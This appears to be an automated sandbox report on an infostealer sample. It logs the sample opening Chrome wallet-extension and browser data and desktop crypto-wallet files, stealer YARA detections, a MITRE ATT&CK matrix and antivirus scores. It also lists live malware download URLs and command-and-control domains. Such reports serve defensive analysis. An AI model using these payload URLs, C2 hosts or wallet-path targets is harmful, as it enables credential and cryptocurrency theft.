Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to steal Crypto Currency Wallets

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: Yara match	File source: 0000001B.00000002.2975513113.0000000000C1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2975513113.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000016.00000002.2756608289.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2737718865.0000000000BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2741442978.0000000000880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2741544851.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00B9EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00B9DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	112 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	345 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	23 Software Packing	NTDS	1051 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	271 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	271 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	100%	Avira	HEUR/AGEN.1314134
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kz8ZdyP[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	61%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://api.libertyreserve.com/beta/xml/transfer.aspx	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/balance.aspx	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exe9	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exeded	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exe%	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1293295511/zudFSfy.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/burpin1/random.exeW	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exe	100%	Avira URL Cloud	phishing
https://aspecteirs.lat/api	100%	Avira URL Cloud	malware
https://api.libertyreserve.com/beta/xml/history.aspx	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1293295511/kz8ZdyP.exei	0%	Avira URL Cloud	safe
https://sci.libertyreserve.com/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exeo	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1293295511/zudFSfy.exeshqos.dll	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exed	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exeI	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1293295511/kz8ZdyP.exe	100%	Avira URL Cloud	phishing
https://api.libertyreserve.com/beta/xml/accountname.aspx	0%	Avira URL Cloud	safe
http://31.41.244.11/files/lolz/random.exe	100%	Avira URL Cloud	phishing
https://api.libertyreserve.com/beta/xml/history.aspxS	0%	Avira URL Cloud	safe
http://github.comd	0%	Avira URL Cloud	safe
http://31.41.244.11/iles/x3team/random.exe	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exe76-s	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.111.133	true	false	high
aspecteirs.lat	104.21.66.85	true	true	unknown
grannyejh.lat	104.21.64.80	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sweepyribs.lat	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
energyaffai.lat	false		high
https://aspecteirs.lat/api	true	Avira URL Cloud: malware	unknown
grannyejh.lat	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	false		high
necklacebudi.lat	false		high
crosshuaht.lat	false		high
https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe	false		high
https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft	e56fffc2ce.exe, 0000000E.00000002.2875306579.0000000006660000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/1293295511/zudFSfy.exe	skotes.exe, 00000006.00000002.2970891358.000000000076C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2970891358.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.sajatypeworks.com	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/transfer.aspx	kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000010.00000002.2671093967.00000000048A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004741000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.2686734514.0000000005905000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2671093967.00000000048A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004741000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/balance.aspx	kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000010.00000002.2671093967.00000000049F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/history.aspx	zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/x3team/random.exe%	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exeded	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exeW	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exe9	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	e56fffc2ce.exe, 0000000E.00000002.2875306579.0000000006660000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2724345565.0000000000A47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000010.00000002.2671093967.00000000049F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	false		high
http://raw.githubusercontent.com	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sci.libertyreserve.com/	skotes.exe, 00000006.00000002.2970891358.0000000000788000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, zudFSfy.exe, 00000007.00000002.2478294311.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp, kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/1293295511/kz8ZdyP.exei	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2579288387.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exed	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exeI	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/1293295511/zudFSfy.exeshqos.dll	skotes.exe, 00000006.00000002.2970891358.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/history.aspxS	kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://github.com	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	false		high
